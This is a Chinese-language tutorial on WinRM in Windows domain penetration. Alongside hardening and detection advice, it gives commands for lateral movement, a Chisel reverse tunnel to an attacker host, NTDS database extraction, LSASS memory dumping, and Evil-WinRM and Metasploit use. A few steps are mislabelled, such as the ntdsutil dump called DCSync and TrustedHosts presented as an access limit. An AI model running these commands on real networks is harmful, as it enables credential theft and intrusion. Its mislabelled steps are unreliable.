攻防技巧 | 域渗透中WinRM的技巧细节与利用
字数 1446 2025-08-06 18:08:01
WinRM在域渗透中的技巧细节与利用
1. WinRM概述
WinRM(Windows Remote Management)是微软实现的WS-Management协议,允许管理员远程执行Windows管理任务。它默认使用HTTP 5985端口或HTTPS 5986端口。
1.1 WinRM基本特性
- 基于SOAP协议
- 使用HTTP/HTTPS传输
- 支持NTLM和Kerberos认证
- 默认在Windows Server 2008及以上版本安装
- 在Windows 7及以上客户端系统可选安装
2. WinRM服务检查与启用
2.1 检查WinRM服务状态
Get-Service WinRM
2.2 检查WinRM监听配置
winrm enumerate winrm/config/listener
2.3 启用WinRM服务
Enable-PSRemoting -Force
2.4 快速配置命令
winrm quickconfig
3. WinRM认证方式
3.1 NTLM认证
- 默认认证方式
- 使用当前用户凭据
- 容易受到NTLM中继攻击
3.2 Kerberos认证
- 需要域环境
- 更安全但配置复杂
- 需要SPN注册
3.3 基本认证
- 不推荐使用
- 凭据明文传输
4. WinRM在域渗透中的利用
4.1 远程命令执行
Invoke-Command -ComputerName <target> -ScriptBlock { <command> } -Credential <cred>
4.2 建立持久会话
Enter-PSSession -ComputerName <target> -Credential <cred>
4.3 使用WinRM横向移动
$cred = Get-Credential
Invoke-Command -ComputerName <target> -ScriptBlock { <payload> } -Credential $cred
5. WinRM端口转发与代理
5.1 本地端口转发
netsh interface portproxy add v4tov4 listenport=5985 connectport=5985 connectaddress=<target>
5.2 使用Chisel进行隧道转发
# 攻击机
chisel server -p 8080 --reverse
# 目标机
chisel client <attacker_ip>:8080 R:5985:<target_ip>:5985
6. WinRM安全配置与加固
6.1 限制访问IP
Set-Item WSMan:\localhost\Client\TrustedHosts "<ip_range>"
6.2 启用HTTPS
# 创建自签名证书
$cert = New-SelfSignedCertificate -CertstoreLocation Cert:\LocalMachine\My -DnsName "<hostname>"
# 配置HTTPS监听器
New-Item -Path WSMan:\LocalHost\Listener -Transport HTTPS -Address * -CertificateThumbPrint $cert.Thumbprint -Force
6.3 禁用NTLM认证
Set-Item -Path WSMan:\localhost\Service\Auth\Negotiate -Value $false
7. WinRM攻击检测与防御
7.1 攻击检测指标
- 异常数量的5985/5986端口连接
- 来自非管理员的WinRM登录尝试
- 异常时间段的WinRM活动
7.2 防御措施
- 禁用不必要的WinRM服务
- 限制WinRM访问IP范围
- 强制使用HTTPS
- 启用Kerberos认证并禁用NTLM
- 监控WinRM日志
8. 高级利用技巧
8.1 绕过受限端点
$sess = New-PSSession -ComputerName <target> -Credential <cred>
Invoke-Command -Session $sess -ScriptBlock { <command> }
8.2 使用WinRM进行DCSync攻击
Invoke-Command -ComputerName <target> -ScriptBlock {
& ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
} -Credential <cred>
8.3 通过WinRM转储LSASS内存
Invoke-Command -ComputerName <target> -ScriptBlock {
procdump -ma lsass.exe lsass.dmp
} -Credential <cred>
9. 日志分析
9.1 WinRM操作日志位置
Microsoft-Windows-WinRM/Operational
9.2 关键事件ID
- 6: 会话创建
- 33: 认证失败
- 34: 认证成功
- 35: 会话结束
10. 工具集成
10.1 CrackMapExec
crackmapexec winrm <target> -u <user> -p <pass> -x <command>
10.2 Metasploit
use exploit/windows/winrm/winrm_script_exec
set RHOSTS <target>
set USERNAME <user>
set PASSWORD <pass>
run
10.3 Evil-WinRM
evil-winrm -i <target> -u <user> -p <pass>
11. 实际攻击案例
11.1 通过WinRM获取域管理员权限
- 获取普通域用户凭据
- 发现开启WinRM的服务器
- 使用Invoke-Command执行命令
- 提升权限至域管理员
11.2 WinRM中继攻击
- 发现NTLM认证的WinRM服务
- 设置中继服务器
- 将凭据中继至目标WinRM服务
- 获取目标系统访问权限
12. 参考命令速查表
| 命令 | 描述 |
|---|---|
Test-WSMan <target> |
测试WinRM连接 |
Get-WSManInstance |
获取WinRM配置信息 |
Set-WSManInstance |
修改WinRM配置 |
Disable-PSRemoting |
禁用WinRM服务 |
winrm get winrm/config |
查看完整WinRM配置 |
13. 总结
WinRM作为Windows系统中强大的远程管理工具,在域环境中广泛使用,但也成为攻击者横向移动的重要途径。了解WinRM的工作原理、配置方法和攻击技术,对于防御和渗透测试都至关重要。通过合理配置和监控,可以显著降低WinRM带来的安全风险。